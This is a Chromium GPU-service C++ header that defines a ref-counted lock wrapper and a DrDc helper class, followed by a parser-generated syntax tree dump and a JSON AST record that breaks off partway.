// Copyright 2021 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef GPU_COMMAND_BUFFER_SERVICE_REF_COUNTED_LOCK_H_ #define GPU_COMMAND_BUFFER_SERVICE_REF_COUNTED_LOCK_H_ #include "base/memory/ref_counted.h" #include "base/synchronization/lock.h" #include "gpu/gpu_gles2_export.h" namespace gpu { // Ref counted wrapper for base::Lock. class GPU_GLES2_EXPORT RefCountedLock : public base::RefCountedThreadSafe<RefCountedLock> { public: RefCountedLock() = default; // Disallow copy and assign. RefCountedLock(const RefCountedLock&) = delete; RefCountedLock& operator=(const RefCountedLock&) = delete; base::Lock* GetDrDcLockPtr() { return &lock_; } void AssertAcquired() { lock_.AssertAcquired(); } private: friend class base::RefCountedThreadSafe<RefCountedLock>; ~RefCountedLock() = default; base::Lock lock_; }; // Helper class for handling RefCountedLock for drdc usage. class GPU_GLES2_EXPORT RefCountedLockHelperDrDc { public: explicit RefCountedLockHelperDrDc(scoped_refptr<RefCountedLock> lock); ~RefCountedLockHelperDrDc(); base::Lock* GetDrDcLockPtr() const { return lock_ ? lock_->GetDrDcLockPtr() : nullptr; } const scoped_refptr<RefCountedLock>& GetDrDcLock() { return lock_; } void AssertAcquiredDrDcLock() const { if (lock_) lock_->AssertAcquired(); } std::unique_ptr<base::AutoLockMaybe> GetScopedDrDcLock() const { return std::make_unique<base::AutoLockMaybe>(GetDrDcLockPtr()); } private: mutable scoped_refptr<RefCountedLock> lock_; }; } // namespace gpu #endif // GPU_COMMAND_BUFFER_SERVICE_REF_COUNTED_LOCK_H_
36.78
45
(translation_unit) "// Copyright 2021 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef GPU_COMMAND_BUFFER_SERVICE_REF_COUNTED_LOCK_H_\n#define GPU_COMMAND_BUFFER_SERVICE_REF_COUNTED_LOCK_H_\n\n#include "base/memory/ref_counted.h"\n#include "base/synchronization/lock.h"\n#include "gpu/gpu_gles2_export.h"\n\nnamespace gpu {\n\n// Ref counted wrapper for base::Lock.\nclass GPU_GLES2_EXPORT RefCountedLock\n : public base::RefCountedThreadSafe<RefCountedLock> {\n public:\n RefCountedLock() = default;\n\n // Disallow copy and assign.\n RefCountedLock(const RefCountedLock&) = delete;\n RefCountedLock& operator=(const RefCountedLock&) = delete;\n\n base::Lock* GetDrDcLockPtr() { return &lock_; }\n void AssertAcquired() { lock_.AssertAcquired(); }\n\n private:\n friend class base::RefCountedThreadSafe<RefCountedLock>;\n ~RefCountedLock() = default;\n\n base::Lock lock_;\n};\n\n// Helper class for handling RefCountedLock for drdc usage.\nclass GPU_GLES2_EXPORT RefCountedLockHelperDrDc {\n public:\n explicit RefCountedLockHelperDrDc(scoped_refptr<RefCountedLock> lock);\n ~RefCountedLockHelperDrDc();\n\n base::Lock* GetDrDcLockPtr() const {\n return lock_ ? lock_->GetDrDcLockPtr() : nullptr;\n }\n\n const scoped_refptr<RefCountedLock>& GetDrDcLock() { return lock_; }\n\n void AssertAcquiredDrDcLock() const {\n if (lock_)\n lock_->AssertAcquired();\n }\n\n std::unique_ptr<base::AutoLockMaybe> GetScopedDrDcLock() const {\n return std::make_unique<base::AutoLockMaybe>(GetDrDcLockPtr());\n }\n\n private:\n mutable scoped_refptr<RefCountedLock> lock_;\n};\n\n} // namespace gpu\n\n#endif // GPU_COMMAND_BUFFER_SERVICE_REF_COUNTED_LOCK_H_\n" (comment) "// Copyright 2021 The Chromium Authors. All rights reserved." (comment) "// Use of this source code is governed by a BSD-style license that can be" (comment) "// found in the LICENSE file." (preproc_ifdef) "#ifndef GPU_COMMAND_BUFFER_SERVICE_REF_COUNTED_LOCK_H_\n#define GPU_COMMAND_BUFFER_SERVICE_REF_COUNTED_LOCK_H_\n\n#include "base/memory/ref_counted.h"\n#include "base/synchronization/lock.h"\n#include "gpu/gpu_gles2_export.h"\n\nnamespace gpu {\n\n// Ref counted wrapper for base::Lock.\nclass GPU_GLES2_EXPORT RefCountedLock\n : public base::RefCountedThreadSafe<RefCountedLock> {\n public:\n RefCountedLock() = default;\n\n // Disallow copy and assign.\n RefCountedLock(const RefCountedLock&) = delete;\n RefCountedLock& operator=(const RefCountedLock&) = delete;\n\n base::Lock* GetDrDcLockPtr() { return &lock_; }\n void AssertAcquired() { lock_.AssertAcquired(); }\n\n private:\n friend class base::RefCountedThreadSafe<RefCountedLock>;\n ~RefCountedLock() = default;\n\n base::Lock lock_;\n};\n\n// Helper class for handling RefCountedLock for drdc usage.\nclass GPU_GLES2_EXPORT RefCountedLockHelperDrDc {\n public:\n explicit RefCountedLockHelperDrDc(scoped_refptr<RefCountedLock> lock);\n ~RefCountedLockHelperDrDc();\n\n base::Lock* GetDrDcLockPtr() const {\n return lock_ ? lock_->GetDrDcLockPtr() : nullptr;\n }\n\n const scoped_refptr<RefCountedLock>& GetDrDcLock() { return lock_; }\n\n void AssertAcquiredDrDcLock() const {\n if (lock_)\n lock_->AssertAcquired();\n }\n\n std::unique_ptr<base::AutoLockMaybe> GetScopedDrDcLock() const {\n return std::make_unique<base::AutoLockMaybe>(GetDrDcLockPtr());\n }\n\n private:\n mutable scoped_refptr<RefCountedLock> lock_;\n};\n\n} // namespace gpu\n\n#endif" (#ifndef) "#ifndef" (identifier) "GPU_COMMAND_BUFFER_SERVICE_REF_COUNTED_LOCK_H_" (preproc_def) "#define GPU_COMMAND_BUFFER_SERVICE_REF_COUNTED_LOCK_H_\n" (#define) "#define" (identifier) "GPU_COMMAND_BUFFER_SERVICE_REF_COUNTED_LOCK_H_" (preproc_include) "#include "base/memory/ref_counted.h"\n" (#include) "#include" (string_literal) ""base/memory/ref_counted.h"" (") """ (string_content) "base/memory/ref_counted.h" (") """ (preproc_include) "#include "base/synchronization/lock.h"\n" (#include) "#include" (string_literal) ""base/synchronization/lock.h"" (") """ (string_content) "base/synchronization/lock.h" (") """ (preproc_include) "#include "gpu/gpu_gles2_export.h"\n" (#include) "#include" (string_literal) ""gpu/gpu_gles2_export.h"" (") """ (string_content) "gpu/gpu_gles2_export.h" (") """ (function_definition) "namespace gpu {\n\n// Ref counted wrapper for base::Lock.\nclass GPU_GLES2_EXPORT RefCountedLock\n : public base::RefCountedThreadSafe<RefCountedLock> {\n public:\n RefCountedLock() = default;\n\n // Disallow copy and assign.\n RefCountedLock(const RefCountedLock&) = delete;\n RefCountedLock& operator=(const RefCountedLock&) = delete;\n\n base::Lock* GetDrDcLockPtr() { return &lock_; }\n void AssertAcquired() { lock_.AssertAcquired(); }\n\n private:\n friend class base::RefCountedThreadSafe<RefCountedLock>;\n ~RefCountedLock() = default;\n\n base::Lock lock_;\n};\n\n// Helper class for handling RefCountedLock for drdc usage.\nclass GPU_GLES2_EXPORT RefCountedLockHelperDrDc {\n public:\n explicit RefCountedLockHelperDrDc(scoped_refptr<RefCountedLock> lock);\n ~RefCountedLockHelperDrDc();\n\n base::Lock* GetDrDcLockPtr() const {\n return lock_ ? lock_->GetDrDcLockPtr() : nullptr;\n }\n\n const scoped_refptr<RefCountedLock>& GetDrDcLock() { return lock_; }\n\n void AssertAcquiredDrDcLock() const {\n if (lock_)\n lock_->AssertAcquired();\n }\n\n std::unique_ptr<base::AutoLockMaybe> GetScopedDrDcLock() const {\n return std::make_unique<base::AutoLockMaybe>(GetDrDcLockPtr());\n }\n\n private:\n mutable scoped_refptr<RefCountedLock> lock_;\n}" (type_identifier) "namespace" (identifier) "gpu" (compound_statement) "{\n\n// Ref counted wrapper for base::Lock.\nclass GPU_GLES2_EXPORT RefCountedLock\n : public base::RefCountedThreadSafe<RefCountedLock> {\n public:\n RefCountedLock() = default;\n\n // Disallow copy and assign.\n RefCountedLock(const RefCountedLock&) = delete;\n RefCountedLock& operator=(const RefCountedLock&) = delete;\n\n base::Lock* GetDrDcLockPtr() { return &lock_; }\n void AssertAcquired() { lock_.AssertAcquired(); }\n\n private:\n friend class base::RefCountedThreadSafe<RefCountedLock>;\n ~RefCountedLock() = default;\n\n base::Lock lock_;\n};\n\n// Helper class for handling RefCountedLock for drdc usage.\nclass GPU_GLES2_EXPORT RefCountedLockHelperDrDc {\n public:\n explicit RefCountedLockHelperDrDc(scoped_refptr<RefCountedLock> lock);\n ~RefCountedLockHelperDrDc();\n\n base::Lock* GetDrDcLockPtr() const {\n return lock_ ? lock_->GetDrDcLockPtr() : nullptr;\n }\n\n const scoped_refptr<RefCountedLock>& GetDrDcLock() { return lock_; }\n\n void AssertAcquiredDrDcLock() const {\n if (lock_)\n lock_->AssertAcquired();\n }\n\n std::unique_ptr<base::AutoLockMaybe> GetScopedDrDcLock() const {\n return std::make_unique<base::AutoLockMaybe>(GetDrDcLockPtr());\n }\n\n private:\n mutable scoped_refptr<RefCountedLock> lock_;\n}" ({) "{" (comment) "// Ref counted wrapper for base::Lock." (declaration) "class GPU_GLES2_EXPORT" (type_identifier) "class" (identifier) "GPU_GLES2_EXPORT" (;) "" (labeled_statement) "RefCountedLock\n : public base::RefCountedThreadSafe<RefCountedLock> {\n public:\n RefCountedLock() = default;\n\n // Disallow copy and assign.\n RefCountedLock(const RefCountedLock&) = delete;\n RefCountedLock& operator=(const RefCountedLock&) = delete;\n\n base::Lock* GetDrDcLockPtr() { return &lock_; }\n void AssertAcquired() { lock_.AssertAcquired(); }\n\n private:\n friend class base::RefCountedThreadSafe<RefCountedLock>;\n ~RefCountedLock() = default;\n\n base::Lock lock_;\n}" (statement_identifier) "RefCountedLock" (ERROR) ": public base:" (:) ":" (type_identifier) "public" (identifier) "base" (:) ":" (:) ":" (ERROR) "RefCountedThreadSafe<RefCountedLock>" (binary_expression) "RefCountedThreadSafe<RefCountedLock" (identifier) "RefCountedThreadSafe" (<) "<" (identifier) "RefCountedLock" (>) ">" (compound_statement) "{\n public:\n RefCountedLock() = default;\n\n // Disallow copy and assign.\n RefCountedLock(const RefCountedLock&) = delete;\n RefCountedLock& operator=(const RefCountedLock&) = delete;\n\n base::Lock* GetDrDcLockPtr() { return &lock_; }\n void AssertAcquired() { lock_.AssertAcquired(); }\n\n private:\n friend class base::RefCountedThreadSafe<RefCountedLock>;\n ~RefCountedLock() = default;\n\n base::Lock lock_;\n}" ({) "{" (labeled_statement) "public:\n RefCountedLock() = default;" (statement_identifier) "public" (:) ":" (expression_statement) "RefCountedLock() = default;" (assignment_expression) "RefCountedLock() = default" (call_expression) "RefCountedLock()" (identifier) "RefCountedLock" (argument_list) "()" (() "(" ()) ")" (=) "=" (identifier) "default" (;) ";" (comment) "// Disallow copy and assign." (declaration) "RefCountedLock(const RefCountedLock&) = delete;" (macro_type_specifier) "RefCountedLock(const RefCountedLock&)" (identifier) "RefCountedLock" (() "(" (type_descriptor) "const RefCountedLock" (type_qualifier) "const" (const) "const" (type_identifier) "RefCountedLock" (ERROR) "&" (&) "&" ()) ")" (ERROR) "=" (=) "=" (identifier) "delete" (;) ";" (expression_statement) "RefCountedLock& operator=(const RefCountedLock&) = delete;" (binary_expression) "RefCountedLock& operator=(const RefCountedLock&) = delete" (identifier) "RefCountedLock" (&) "&" (assignment_expression) "operator=(const RefCountedLock&) = delete" (identifier) "operator" (=) "=" (cast_expression) "(const RefCountedLock&) = delete" (() "(" (type_descriptor) "const RefCountedLock" (type_qualifier) "const" (const) "const" (type_identifier) "RefCountedLock" (ERROR) "&" (&) "&" ()) ")" (ERROR) "=" (=) "=" (identifier) "delete" (;) ";" (labeled_statement) "base::Lock* GetDrDcLockPtr() { return &lock_; }" (statement_identifier) "base" (:) ":" (ERROR) ":Lock* GetDrDcLockPtr()" (:) ":" (type_identifier) "Lock" (pointer_declarator) "* GetDrDcLockPtr()" (*) "*" (function_declarator) "GetDrDcLockPtr()" (identifier) "GetDrDcLockPtr" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{ return &lock_; }" ({) "{" (return_statement) "return &lock_;" (return) "return" (pointer_expression) "&lock_" (&) "&" (identifier) "lock_" (;) ";" (}) "}" (function_definition) "void AssertAcquired() { lock_.AssertAcquired(); }" (primitive_type) "void" (function_declarator) "AssertAcquired()" (identifier) "AssertAcquired" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{ lock_.AssertAcquired(); }" ({) "{" (expression_statement) "lock_.AssertAcquired();" (call_expression) "lock_.AssertAcquired()" (field_expression) "lock_.AssertAcquired" (identifier) "lock_" (.) "." (field_identifier) "AssertAcquired" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (labeled_statement) "private:\n friend class" (statement_identifier) "private" (:) ":" (declaration) "friend class" (type_identifier) "friend" (identifier) "class" (;) "" (labeled_statement) "base::RefCountedThreadSafe<RefCountedLock>;" (statement_identifier) "base" (:) ":" (ERROR) ":RefCountedThreadSafe<RefCountedLock>" (:) ":" (binary_expression) "RefCountedThreadSafe<RefCountedLock" (identifier) "RefCountedThreadSafe" (<) "<" (identifier) "RefCountedLock" (>) ">" (expression_statement) ";" (;) ";" (expression_statement) "~RefCountedLock() = default;" (unary_expression) "~RefCountedLock() = default" (~) "~" (assignment_expression) "RefCountedLock() = default" (call_expression) "RefCountedLock()" (identifier) "RefCountedLock" (argument_list) "()" (() "(" ()) ")" (=) "=" (identifier) "default" (;) ";" (labeled_statement) "base::Lock lock_;" (statement_identifier) "base" (:) ":" (ERROR) ":" (:) ":" (declaration) "Lock lock_;" (type_identifier) "Lock" (identifier) "lock_" (;) ";" (}) "}" (expression_statement) ";" (;) ";" (comment) "// Helper class for handling RefCountedLock for drdc usage." (function_definition) "class GPU_GLES2_EXPORT RefCountedLockHelperDrDc {\n public:\n explicit RefCountedLockHelperDrDc(scoped_refptr<RefCountedLock> lock);\n ~RefCountedLockHelperDrDc();\n\n base::Lock* GetDrDcLockPtr() const {\n return lock_ ? lock_->GetDrDcLockPtr() : nullptr;\n }\n\n const scoped_refptr<RefCountedLock>& GetDrDcLock() { return lock_; }\n\n void AssertAcquiredDrDcLock() const {\n if (lock_)\n lock_->AssertAcquired();\n }\n\n std::unique_ptr<base::AutoLockMaybe> GetScopedDrDcLock() const {\n return std::make_unique<base::AutoLockMaybe>(GetDrDcLockPtr());\n }" (type_identifier) "class" (ERROR) "GPU_GLES2_EXPORT" (identifier) "GPU_GLES2_EXPORT" (identifier) "RefCountedLockHelperDrDc" (compound_statement) "{\n public:\n explicit RefCountedLockHelperDrDc(scoped_refptr<RefCountedLock> lock);\n ~RefCountedLockHelperDrDc();\n\n base::Lock* GetDrDcLockPtr() const {\n return lock_ ? lock_->GetDrDcLockPtr() : nullptr;\n }\n\n const scoped_refptr<RefCountedLock>& GetDrDcLock() { return lock_; }\n\n void AssertAcquiredDrDcLock() const {\n if (lock_)\n lock_->AssertAcquired();\n }\n\n std::unique_ptr<base::AutoLockMaybe> GetScopedDrDcLock() const {\n return std::make_unique<base::AutoLockMaybe>(GetDrDcLockPtr());\n }" ({) "{" (expression_statement) "public:\n explicit RefCountedLockHelperDrDc(scoped_refptr<RefCountedLock> lock);" (binary_expression) "public:\n explicit RefCountedLockHelperDrDc(scoped_refptr<RefCountedLock> lock" (binary_expression) "public:\n explicit RefCountedLockHelperDrDc(scoped_refptr<RefCountedLock" (identifier) "public" (ERROR) ":\n explicit RefCountedLockHelperDrDc(scoped_refptr" (:) ":" (type_identifier) "explicit" (identifier) "RefCountedLockHelperDrDc" (() "(" (identifier) "scoped_refptr" (<) "<" (identifier) "RefCountedLock" (>) ">" (identifier) "lock" (ERROR) ")" ()) ")" (;) ";" (expression_statement) "~RefCountedLockHelperDrDc();" (unary_expression) "~RefCountedLockHelperDrDc()" (~) "~" (call_expression) "RefCountedLockHelperDrDc()" (identifier) "RefCountedLockHelperDrDc" (argument_list) "()" (() "(" ()) ")" (;) ";" (labeled_statement) "base::Lock* GetDrDcLockPtr() const {\n return lock_ ? lock_->GetDrDcLockPtr() : nullptr;\n }" (statement_identifier) "base" (:) ":" (ERROR) ":Lock* GetDrDcLockPtr() const" (:) ":" (type_identifier) "Lock" (pointer_declarator) "* GetDrDcLockPtr() const" (*) "*" (function_declarator) "GetDrDcLockPtr() const" (identifier) "GetDrDcLockPtr" (parameter_list) "()" (() "(" ()) ")" (identifier) "const" (compound_statement) "{\n return lock_ ? lock_->GetDrDcLockPtr() : nullptr;\n }" ({) "{" (return_statement) "return lock_ ? lock_->GetDrDcLockPtr() : nullptr;" (return) "return" (conditional_expression) "lock_ ? lock_->GetDrDcLockPtr() : nullptr" (identifier) "lock_" (?) "?" (call_expression) "lock_->GetDrDcLockPtr()" (field_expression) "lock_->GetDrDcLockPtr" (identifier) "lock_" (->) "->" (field_identifier) "GetDrDcLockPtr" (argument_list) "()" (() "(" ()) ")" (:) ":" (null) "nullptr" (nullptr) "nullptr" (;) ";" (}) "}" (function_definition) "const scoped_refptr<RefCountedLock>& GetDrDcLock() { return lock_; }" (type_qualifier) "const" (const) "const" (type_identifier) "scoped_refptr" (ERROR) "<RefCountedLock>&" (<) "<" (identifier) "RefCountedLock" (>) ">" (&) "&" (function_declarator) "GetDrDcLock()" (identifier) "GetDrDcLock" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{ return lock_; }" ({) "{" (return_statement) "return lock_;" (return) "return" (identifier) "lock_" (;) ";" (}) "}" (ERROR) "void AssertAcquiredDrDcLock() const" (primitive_type) "void" (function_declarator) "AssertAcquiredDrDcLock()" (identifier) "AssertAcquiredDrDcLock" (parameter_list) "()" (() "(" ()) ")" (type_qualifier) "const" (const) "const" (compound_statement) "{\n if (lock_)\n lock_->AssertAcquired();\n }" ({) "{" (if_statement) "if (lock_)\n lock_->AssertAcquired();" (if) "if" (parenthesized_expression) "(lock_)" (() "(" (identifier) "lock_" ()) ")" (expression_statement) "lock_->AssertAcquired();" (call_expression) "lock_->AssertAcquired()" (field_expression) "lock_->AssertAcquired" (identifier) "lock_" (->) "->" (field_identifier) "AssertAcquired" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (labeled_statement) "std::unique_ptr<base::AutoLockMaybe> GetScopedDrDcLock() const {\n return std::make_unique<base::AutoLockMaybe>(GetDrDcLockPtr());" (statement_identifier) "std" (ERROR) "::unique_ptr<base::AutoLockMaybe> GetScopedDrDcLock() const {\n return std::make_unique<base:" (:) ":" (:) ":" (binary_expression) "unique_ptr<base" (identifier) "unique_ptr" (<) "<" (identifier) "base" (:) ":" (:) ":" (ERROR) "AutoLockMaybe> GetScopedDrDcLock() const" (binary_expression) "AutoLockMaybe> GetScopedDrDcLock()" (identifier) "AutoLockMaybe" (>) ">" (call_expression) "GetScopedDrDcLock()" (identifier) "GetScopedDrDcLock" (argument_list) "()" (() "(" ()) ")" (identifier) "const" ({) "{" (return) "return" (identifier) "std" (:) ":" (:) ":" (binary_expression) "make_unique<base" (identifier) "make_unique" (<) "<" (identifier) "base" (:) ":" (:) ":" (expression_statement) "AutoLockMaybe>(GetDrDcLockPtr());" (binary_expression) "AutoLockMaybe>(GetDrDcLockPtr())" (identifier) "AutoLockMaybe" (>) ">" (parenthesized_expression) "(GetDrDcLockPtr())" (() "(" (call_expression) "GetDrDcLockPtr()" (identifier) "GetDrDcLockPtr" (argument_list) "()" (() "(" ()) ")" ()) ")" (;) ";" (}) "}" (expression_statement) "private:\n mutable scoped_refptr<RefCountedLock> lock_;" (binary_expression) "private:\n mutable scoped_refptr<RefCountedLock> lock_" (binary_expression) "private:\n mutable scoped_refptr<RefCountedLock" (identifier) "private" (ERROR) ":\n mutable scoped_refptr" (:) ":" (type_identifier) "mutable" (identifier) "scoped_refptr" (<) "<" (identifier) "RefCountedLock" (>) ">" (identifier) "lock_" (;) ";" (}) "}" (expression_statement) ";" (;) ";" (ERROR) "}" (}) "}" (comment) "// namespace gpu" (#endif) "#endif" (comment) "// GPU_COMMAND_BUFFER_SERVICE_REF_COUNTED_LOCK_H_"
372
19
{"language": "c", "success": true, "metadata": {"lines": 45, "avg_line_length": 36.78, "nodes": 199, "errors": 0, "source_hash": "41deb209282fd8c7e3a83b14babe903f1f5726481273ed2cc2a36f80f4d866af", "categorized_nodes": 130}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef GPU_COMMAND_BUFFER_SERVICE_REF_COUNTED_LOCK_H_\n#define GPU_COMMAND_BUFFER_SERVICE_REF_COUNTED_LOCK_H_\n\n#include \"base/memory/ref_counted.h\"\n#include \"base/synchronization/lock.h\"\n#include \"gpu/gpu_gles2_export.h\"\n\nnamespace gpu {\n\n// Ref counted wrapper for base::Lock.\nclass GPU_GLES2_EXPORT RefCountedLock\n : public base::RefCountedThreadSafe<RefCountedLock> {\n public:\n RefCountedLock() = default;\n\n // Disallow copy and assign.\n RefCountedLock(const RefCountedLock&) = delete;\n RefCountedLock& operator=(const RefCountedLock&) = delete;\n\n base::Lock* GetDrDcLockPtr() { return &lock_; }\n void AssertAcquired() { lock_.AssertAcquired(); }\n\n private:\n friend class base::RefCountedThreadSafe<RefCountedLock>;\n ~RefCountedLock() = default;\n\n base::Lock lock_;\n};\n\n// Helper class for handling RefCountedLock for drdc usage.\nclass GPU_GLES2_EXPORT RefCountedLockHelperDrDc {\n public:\n explicit RefCountedLockHelperDrDc(scoped_refptr<RefCountedLock> lock);\n ~RefCountedLockHelperDrDc();\n\n base::Lock* GetDrDcLockPtr() const {\n return lock_ ? lock_->GetDrDcLockPtr() : nullptr;\n }\n\n const scoped_refptr<RefCountedLock>& GetDrDcLock() { return lock_; }\n\n void AssertAcquiredDrDcLock() const {\n if (lock_)\n lock_->AssertAcquired();\n }\n\n std::unique_ptr<base::AutoLockMaybe> GetScopedDrDcLock() const {\n return std::make_unique<base::AutoLockMaybe>(GetDrDcLockPtr());\n }\n\n private:\n mutable scoped_refptr<RefCountedLock> lock_;\n};\n\n} // namespace gpu\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 9, 12, 15, 198], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 60, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 4, "column": 7}}, {"id": 2, "type": "identifier", "text": "GPU_COMMAND_BUFFER_SERVICE_REF_COUNTED_LOCK_H_", "parent": 0, "children": [], "start_point": {"row": 4, "column": 8}, "end_point": {"row": 4, "column": 54}}, {"id": 3, "type": "preproc_def", "text": "#define GPU_COMMAND_BUFFER_SERVICE_REF_COUNTED_LOCK_H_\n", "parent": 0, "children": [4, 5], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 6, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 7}}, {"id": 5, "type": "identifier", "text": "GPU_COMMAND_BUFFER_SERVICE_REF_COUNTED_LOCK_H_", "parent": 3, "children": [], "start_point": {"row": 5, "column": 8}, "end_point": {"row": 5, "column": 54}}, {"id": 6, "type": "preproc_include", "text": "#include \"base/memory/ref_counted.h\"\n", "parent": 0, "children": [7, 8], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 8, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 7, "column": 8}}, {"id": 8, "type": "string_literal", "text": "\"base/memory/ref_counted.h\"", "parent": 6, "children": [], "start_point": {"row": 7, "column": 9}, "end_point": {"row": 7, "column": 36}}, {"id": 9, "type": "preproc_include", "text": "#include \"base/synchronization/lock.h\"\n", "parent": 0, "children": [10, 11], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 9, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 8}}, {"id": 11, "type": "string_literal", "text": "\"base/synchronization/lock.h\"", "parent": 9, "children": [], "start_point": {"row": 8, "column": 9}, "end_point": {"row": 8, "column": 38}}, {"id": 12, "type": "preproc_include", "text": "#include \"gpu/gpu_gles2_export.h\"\n", "parent": 0, "children": [13, 14], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 10, "column": 0}}, {"id": 13, "type": "#include", "text": "#include", "parent": 12, "children": [], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 8}}, {"id": 14, "type": "string_literal", "text": "\"gpu/gpu_gles2_export.h\"", "parent": 12, "children": [], "start_point": {"row": 9, "column": 9}, "end_point": {"row": 9, "column": 33}}, {"id": 15, "type": "function_definition", "text": "namespace gpu {\n\n// Ref counted wrapper for base::Lock.\nclass GPU_GLES2_EXPORT RefCountedLock\n : public base::RefCountedThreadSafe<RefCountedLock> {\n public:\n RefCountedLock() = default;\n\n // Disallow copy and assign.\n RefCountedLock(const RefCountedLock&) = delete;\n RefCountedLock& operator=(const RefCountedLock&) = delete;\n\n base::Lock* GetDrDcLockPtr() { return &lock_; }\n void AssertAcquired() { lock_.AssertAcquired(); }\n\n private:\n friend class base::RefCountedThreadSafe<RefCountedLock>;\n ~RefCountedLock() = default;\n\n base::Lock lock_;\n};\n\n// Helper class for handling RefCountedLock for drdc usage.\nclass GPU_GLES2_EXPORT RefCountedLockHelperDrDc {\n public:\n explicit RefCountedLockHelperDrDc(scoped_refptr<RefCountedLock> lock);\n ~RefCountedLockHelperDrDc();\n\n base::Lock* GetDrDcLockPtr() const {\n return lock_ ? lock_->GetDrDcLockPtr() : nullptr;\n }\n\n const scoped_refptr<RefCountedLock>& GetDrDcLock() { return lock_; }\n\n void AssertAcquiredDrDcLock() const {\n if (lock_)\n lock_->AssertAcquired();\n }\n\n std::unique_ptr<base::AutoLockMaybe> GetScopedDrDcLock() const {\n return std::make_unique<base::AutoLockMaybe>(GetDrDcLockPtr());\n }\n\n private:\n mutable scoped_refptr<RefCountedLock> lock_;\n}", "parent": 0, "children": [16, 17], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 56, "column": 1}}, {"id": 16, "type": "type_identifier", "text": "namespace", "parent": 15, "children": [], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 9}}, {"id": 17, "type": "identifier", "text": "gpu", "parent": 15, "children": [], "start_point": {"row": 11, "column": 10}, "end_point": {"row": 11, "column": 13}}, {"id": 18, "type": "declaration", "text": "class GPU_GLES2_EXPORT", "parent": 15, "children": [19], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 22}}, {"id": 19, "type": "identifier", "text": "GPU_GLES2_EXPORT", "parent": 18, "children": [], "start_point": {"row": 14, "column": 6}, "end_point": {"row": 14, "column": 22}}, {"id": 20, "type": "labeled_statement", "text": "RefCountedLock\n : public base::RefCountedThreadSafe<RefCountedLock> {\n public:\n RefCountedLock() = default;\n\n // Disallow copy and assign.\n RefCountedLock(const RefCountedLock&) = delete;\n RefCountedLock& operator=(const RefCountedLock&) = delete;\n\n base::Lock* GetDrDcLockPtr() { return &lock_; }\n void AssertAcquired() { lock_.AssertAcquired(); }\n\n private:\n friend class base::RefCountedThreadSafe<RefCountedLock>;\n ~RefCountedLock() = default;\n\n base::Lock lock_;\n}", "parent": 15, "children": [21, 22, 24], "start_point": {"row": 14, "column": 23}, "end_point": {"row": 31, "column": 1}}, {"id": 21, "type": "statement_identifier", "text": "RefCountedLock", "parent": 20, "children": [], "start_point": {"row": 14, "column": 23}, "end_point": {"row": 14, "column": 37}}, {"id": 22, "type": "ERROR", "text": ": public base:", "parent": 20, "children": [23], "start_point": {"row": 15, "column": 4}, "end_point": {"row": 15, "column": 18}}, {"id": 23, "type": "identifier", "text": "base", "parent": 22, "children": [], "start_point": {"row": 15, "column": 13}, "end_point": {"row": 15, "column": 17}}, {"id": 24, "type": "ERROR", "text": "RefCountedThreadSafe<RefCountedLock>", "parent": 20, "children": [25, 29], "start_point": {"row": 15, "column": 19}, "end_point": {"row": 15, "column": 55}}, {"id": 25, "type": "binary_expression", "text": "RefCountedThreadSafe<RefCountedLock", "parent": 24, "children": [26, 27, 28], "start_point": {"row": 15, "column": 19}, "end_point": {"row": 15, "column": 54}}, {"id": 26, "type": "identifier", "text": "RefCountedThreadSafe", "parent": 25, "children": [], "start_point": {"row": 15, "column": 19}, "end_point": {"row": 15, "column": 39}}, {"id": 27, "type": "<", "text": "<", "parent": 25, "children": [], "start_point": {"row": 15, "column": 39}, "end_point": {"row": 15, "column": 40}}, {"id": 28, "type": "identifier", "text": "RefCountedLock", "parent": 25, "children": [], "start_point": {"row": 15, "column": 40}, "end_point": {"row": 15, "column": 54}}, {"id": 29, "type": ">", "text": ">", "parent": 24, "children": [], "start_point": {"row": 15, "column": 54}, "end_point": {"row": 15, "column": 55}}, {"id": 30, "type": "labeled_statement", "text": "public:\n RefCountedLock() = default;", "parent": 20, "children": [], "start_point": {"row": 16, "column": 1}, "end_point": {"row": 17, "column": 29}}, {"id": 31, "type": "assignment_expression", "text": "RefCountedLock() = default", "parent": 30, "children": [32, 35, 36], "start_point": {"row": 17, "column": 2}, "end_point": {"row": 17, "column": 28}}, {"id": 32, "type": "call_expression", "text": "RefCountedLock()", "parent": 31, "children": [33, 34], "start_point": {"row": 17, "column": 2}, "end_point": {"row": 17, "column": 18}}, {"id": 33, "type": "identifier", "text": "RefCountedLock", "parent": 32, "children": [], "start_point": {"row": 17, "column": 2}, "end_point": {"row": 17, "column": 16}}, {"id": 34, "type": "argument_list", "text": "()", "parent": 32, "children": [], "start_point": {"row": 17, "column": 16}, "end_point": {"row": 17, "column": 18}}, {"id": 35, "type": "=", "text": "=", "parent": 31, "children": [], "start_point": {"row": 17, "column": 19}, "end_point": {"row": 17, "column": 20}}, {"id": 36, "type": "identifier", "text": "default", "parent": 31, "children": [], "start_point": {"row": 17, "column": 21}, "end_point": {"row": 17, "column": 28}}, {"id": 